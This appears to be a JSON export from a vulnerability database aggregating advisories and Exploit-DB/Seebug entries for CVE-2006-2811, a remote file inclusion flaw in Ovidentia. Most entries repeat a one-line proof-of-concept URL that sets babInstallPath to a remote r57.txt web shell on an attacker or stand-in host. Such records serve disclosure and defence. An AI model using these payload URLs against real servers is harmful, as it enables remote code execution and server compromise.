upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the index.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Manual Testing Notes\nhttp://[target]/orid/index.php?babInstallPath=http://[attacker]/r57.txt?\n## References:\nVendor URL: http://www.ovidentia.org/\n[Related OSVDB ID: 27212](https://vulners.com/osvdb/OSVDB:27212)\n[Related OSVDB ID: 27213](https://vulners.com/osvdb/OSVDB:27213)\n[Related OSVDB ID: 27215](https://vulners.com/osvdb/OSVDB:27215)\n[Related OSVDB ID: 27214](https://vulners.com/osvdb/OSVDB:27214)\n[Related OSVDB ID: 27218](https://vulners.com/osvdb/OSVDB:27218)\n[Related OSVDB ID: 27225](https://vulners.com/osvdb/OSVDB:27225)\n[Related OSVDB ID: 27229](https://vulners.com/osvdb/OSVDB:27229)\n[Related OSVDB ID: 27220](https://vulners.com/osvdb/OSVDB:27220)\n[Related OSVDB ID: 27221](https://vulners.com/osvdb/OSVDB:27221)\n[Related OSVDB ID: 27224](https://vulners.com/osvdb/OSVDB:27224)\n[Related OSVDB ID: 27216](https://vulners.com/osvdb/OSVDB:27216)\n[Related OSVDB ID: 27219](https://vulners.com/osvdb/OSVDB:27219)\n[Related OSVDB ID: 27228](https://vulners.com/osvdb/OSVDB:27228)\n[Related OSVDB ID: 27209](https://vulners.com/osvdb/OSVDB:27209)\n[Related OSVDB ID: 27210](https://vulners.com/osvdb/OSVDB:27210)\n[Related OSVDB ID: 27211](https://vulners.com/osvdb/OSVDB:27211)\n[Related OSVDB ID: 27217](https://vulners.com/osvdb/OSVDB:27217)\n[Related OSVDB ID: 27222](https://vulners.com/osvdb/OSVDB:27222)\n[Related OSVDB ID: 27226](https://vulners.com/osvdb/OSVDB:27226)\n[Related OSVDB ID: 27227](https://vulners.com/osvdb/OSVDB:27227)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-02/0110.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0700.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-01/0365.html\n[CVE-2006-2811](https://vulners.com/cve/CVE-2006-2811)\nBugtraq ID: 18232\n", "modified": "2006-05-31T05:18:10", "published": "2006-05-31T05:18:10", "href": "https://vulners.com/osvdb/OSVDB:27223", "id": "OSVDB:27223", "title": "Ovidentia index.php babInstallPath Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-28T13:20:23", "bulletinFamily": "software", "cvelist": ["CVE-2006-2811"], "edition": 1, "description": "## Vulnerability Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the event.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## Solution Description\nCurrently, there are no known upgrades, patches, or workarounds available to correct this issue.\n## Short Description\nOvidentia contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the event.php script not properly sanitizing user input supplied to the 'babInstallPath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.\n## References:\nVendor URL: http://www.ovidentia.org/\n[Related OSVDB ID: 27212](https://vulners.com/osvdb/OSVDB:27212)\n[Related OSVDB ID: 27213](https://vulners.com/osvdb/OSVDB:27213)\n[Related OSVDB ID: 27215](https://vulners.com/osvdb/OSVDB:27215)\n[Related OSVDB ID: 27214](https://vulners.com/osvdb/OSVDB:27214)\n[Related OSVDB ID: 27218](https://vulners.com/osvdb/OSVDB:27218)\n[Related OSVDB ID: 27225](https://vulners.com/osvdb/OSVDB:27225)\n[Related OSVDB ID: 27229](https://vulners.com/osvdb/OSVDB:27229)\n[Related OSVDB ID: 27220](https://vulners.com/osvdb/OSVDB:27220)\n[Related OSVDB ID: 27221](https://vulners.com/osvdb/OSVDB:27221)\n[Related OSVDB ID: 27223](https://vulners.com/osvdb/OSVDB:27223)\n[Related OSVDB ID: 27216](https://vulners.com/osvdb/OSVDB:27216)\n[Related OSVDB ID: 27219](https://vulners.com/osvdb/OSVDB:27219)\n[Related OSVDB ID: 27228](https://vulners.com/osvdb/OSVDB:27228)\n[Related OSVDB ID: 27209](https://vulners.com/osvdb/OSVDB:27209)\n[Related OSVDB ID: 27210](https://vulners.com/osvdb/OSVDB:27210)\n[Related OSVDB ID: 27211](https://vulners.com/osvdb/OSVDB:27211)\n[Related OSVDB ID: 27217](https://vulners.com/osvdb/OSVDB:27217)\n[Related OSVDB ID: 27222](https://vulners.com/osvdb/OSVDB:27222)\n[Related OSVDB ID: 27226](https://vulners.com/osvdb/OSVDB:27226)\n[Related OSVDB ID: 27227](https://vulners.com/osvdb/OSVDB:27227)\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-05/0700.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-01/0365.html\n[CVE-2006-2811](https://vulners.com/cve/CVE-2006-2811)\nBugtraq ID: 18232\n", "modified": "2006-05-31T05:18:10", "published": "2006-05-31T05:18:10", "href": "https://vulners.com/osvdb/OSVDB:27224", "id": "OSVDB:27224", "title": "Ovidentia event.php babInstallPath Variable Remote File Inclusion", "type": "osvdb", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-02-03T07:06:55", "description": "ovidentia 5.6.x/5.8 vacadmb.php babInstallPath Parameter Remote File Inclusion. CVE-2006-2811. Webapps exploit for php platform", "published": "2006-06-02T00:00:00", "type": "exploitdb", "title": "ovidentia 5.6.x/5.8 vacadmb.php babInstallPath Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-2811"], "modified": "2006-06-02T00:00:00", "id": "EDB-ID:27950", "href": "https://www.exploit-db.com/exploits/27950/", "sourceData": "source: http://www.securityfocus.com/bid/18232/info\r\n \r\nOvidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.\r\n \r\nAn attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nhttp://www.example.com/orid/ovidentia/vacadmb.php?babInstallPath=http://www.example.com/r57.txt?", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/27950/"}, {"lastseen": "2016-02-03T07:07:02", "description": "ovidentia 5.6.x/5.8 vacadma.php babInstallPath Parameter Remote File Inclusion. CVE-2006-2811. Webapps exploit for php platform", "published": "2006-06-02T00:00:00", "type": "exploitdb", "title": "ovidentia 5.6.x/5.8 vacadma.php babInstallPath Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-2811"], "modified": "2006-06-02T00:00:00", "id": "EDB-ID:27951", "href": "https://www.exploit-db.com/exploits/27951/", "sourceData": "source: http://www.securityfocus.com/bid/18232/info\r\n \r\nOvidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.\r\n \r\nAn attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nhttp://www.example.com/orid/ovidentia/vacadma.php?babInstallPath=http://www.example.com/r57.txt?", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/27951/"}, {"lastseen": "2016-02-03T07:07:09", "description": "ovidentia 5.6.x/5.8 vacadm.php babInstallPath Parameter Remote File Inclusion. CVE-2006-2811. Webapps exploit for php platform", "published": "2006-06-02T00:00:00", "type": "exploitdb", "title": "ovidentia 5.6.x/5.8 vacadm.php babInstallPath Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-2811"], "modified": "2006-06-02T00:00:00", "id": "EDB-ID:27952", "href": "https://www.exploit-db.com/exploits/27952/", "sourceData": "source: http://www.securityfocus.com/bid/18232/info\r\n \r\nOvidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.\r\n \r\nAn attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nhttp://www.example.com/orid/ovidentia/vacadm.php?babInstallPath=http://www.example.com/r57.txt?", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/27952/"}, {"lastseen": "2016-02-03T07:07:17", "description": "ovidentia 5.6.x/5.8 statart.php babInstallPath Parameter Remote File Inclusion. CVE-2006-2811. Webapps exploit for php platform", "published": "2006-06-02T00:00:00", "type": "exploitdb", "title": "ovidentia 5.6.x/5.8 statart.php babInstallPath Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-2811"], "modified": "2006-06-02T00:00:00", "id": "EDB-ID:27953", "href": "https://www.exploit-db.com/exploits/27953/", "sourceData": "source: http://www.securityfocus.com/bid/18232/info\r\n \r\nOvidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.\r\n \r\nAn attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nhttp://www.example.com/orid/ovidentia/statart.php?babInstallPath=http://www.example.com/r57.txt?", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/27953/"}, {"lastseen": "2016-02-03T07:07:23", "description": "ovidentia 5.6.x/5.8 search.php babInstallPath Parameter Remote File Inclusion. CVE-2006-2811. Webapps exploit for php platform", "published": "2006-06-02T00:00:00", "type": "exploitdb", "title": "ovidentia 5.6.x/5.8 - search.php babInstallPath Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-2811"], "modified": "2006-06-02T00:00:00", "id": "EDB-ID:27954", "href": "https://www.exploit-db.com/exploits/27954/", "sourceData": "source: http://www.securityfocus.com/bid/18232/info\r\n \r\nOvidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.\r\n \r\nAn attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nhttp://www.example.com/orid/ovidentia/search.php?babInstallPath=http://www.example.com/r57.txt?", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/27954/"}, {"lastseen": "2016-02-03T07:07:30", "description": "ovidentia 5.6.x/5.8 posts.php babInstallPath Parameter Remote File Inclusion. CVE-2006-2811. Webapps exploit for php platform", "published": "2006-06-02T00:00:00", "type": "exploitdb", "title": "ovidentia 5.6.x/5.8 posts.php babInstallPath Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-2811"], "modified": "2006-06-02T00:00:00", "id": "EDB-ID:27955", "href": "https://www.exploit-db.com/exploits/27955/", "sourceData": "source: http://www.securityfocus.com/bid/18232/info\r\n \r\nOvidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.\r\n \r\nAn attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nhttp://www.example.com/orid/ovidentia/posts.php?babInstallPath=http://www.example.com/r57.txt?", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/27955/"}, {"lastseen": "2016-02-03T07:07:37", "description": "ovidentia 5.6.x/5.8 options.php babInstallPath Parameter Remote File Inclusion. CVE-2006-2811. Webapps exploit for php platform", "published": "2006-06-02T00:00:00", "type": "exploitdb", "title": "ovidentia 5.6.x/5.8 options.php babInstallPath Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-2811"], "modified": "2006-06-02T00:00:00", "id": "EDB-ID:27956", "href": "https://www.exploit-db.com/exploits/27956/", "sourceData": "source: http://www.securityfocus.com/bid/18232/info\r\n \r\nOvidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.\r\n \r\nAn attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n \r\nhttp://www.example.com/orid/ovidentia/options.php?babInstallPath=http://www.example.com/r57.txt?", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/27956/"}, {"lastseen": "2016-02-03T07:06:48", "description": "ovidentia 5.6.x/5.8 approb.php babInstallPath Parameter Remote File Inclusion. CVE-2006-2811. Webapps exploit for php platform", "published": "2006-06-02T00:00:00", "type": "exploitdb", "title": "ovidentia 5.6.x/5.8 approb.php babInstallPath Parameter Remote File Inclusion", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-2811"], "modified": "2006-06-02T00:00:00", "id": "EDB-ID:27949", "href": "https://www.exploit-db.com/exploits/27949/", "sourceData": "source: http://www.securityfocus.com/bid/18232/info\r\n\r\nOvidentia is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.\r\n\r\nAn attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.\r\n\r\nhttp://www.example.com/orid/ovidentia/approb.php?babInstallPath=http://www.example.com/r57.txt?", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/27949/"}], "seebug": [{"lastseen": "2017-11-19T21:53:01", "description": "BUGTRAQ ID: 18232\r\nCVE(CAN) ID: CVE-2006-2811\r\n\r\nOvidentia\u662f\u4e00\u79cd\u57fa\u4e8eWeb\u7684\u8fdc\u7a0b\u534f\u4f5c\u53ca\u5185\u5bb9\u7ba1\u7406\u5de5\u5177\u3002\r\n\r\nOvidentia\u5904\u7406\u7528\u6237\u8bf7\u6c42\u65f6\u5b58\u5728\u8f93\u5165\u9a8c\u8bc1\u6f0f\u6d1e\uff0c\u8fdc\u7a0b\u653b\u51fb\u8005\u53ef\u80fd\u5229\u7528\u6b64\u6f0f\u6d1e\u5728\u670d\u52a1\u5668\u4e0a\u4ee5Web\u8fdb\u7a0b\u6743\u9650\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002\r\n\r\nOvidentia\u7684\u591a\u4e2a\u811a\u672c\u6ca1\u6709\u6b63\u786e\u9a8c\u8bc1babInstallPath\u53c2\u6570\u7684\u8f93\u5165\uff0c\u5141\u8bb8\u653b\u51fb\u8005\u901a\u8fc7\u5305\u542b\u672c\u5730\u6216\u5916\u90e8\u8d44\u6e90\u7684\u4efb\u610f\u6587\u4ef6\u5bfc\u81f4\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002\r\n\n\nOvidentia Ovidentia 5.8\n Ovidentia\r\n---------\r\n\u76ee\u524d\u5382\u5546\u8fd8\u6ca1\u6709\u63d0\u4f9b\u8865\u4e01\u6216\u8005\u5347\u7ea7\u7a0b\u5e8f\uff0c\u6211\u4eec\u5efa\u8bae\u4f7f\u7528\u6b64\u8f6f\u4ef6\u7684\u7528\u6237\u968f\u65f6\u5173\u6ce8\u5382\u5546\u7684\u4e3b\u9875\u4ee5\u83b7\u53d6\u6700\u65b0\u7248\u672c\uff1a\r\n\r\n<a href=http://www.ovidentia.org/ target=_blank>http://www.ovidentia.org/</a>", "published": "2007-12-26T00:00:00", "type": "seebug", "title": "Ovidentia\u591a\u4e2a\u811a\u672c\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e", "bulletinFamily": "exploit", "cvelist": ["CVE-2006-2811"], "modified": "2007-12-26T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-2689", "id": "SSV:2689", "sourceData": "\n http://www.example.com/orid/index.php?babInstallPath=http://www.example.com/r57.txt?\r\nhttp://www.example.com/orid/ovidentia/topman.php?babInstallPath=http://www.example.com/r57.txt?\r\nhttp://www.example.com/orid/ovidentia/approb.php?babIns\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-2689", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}]}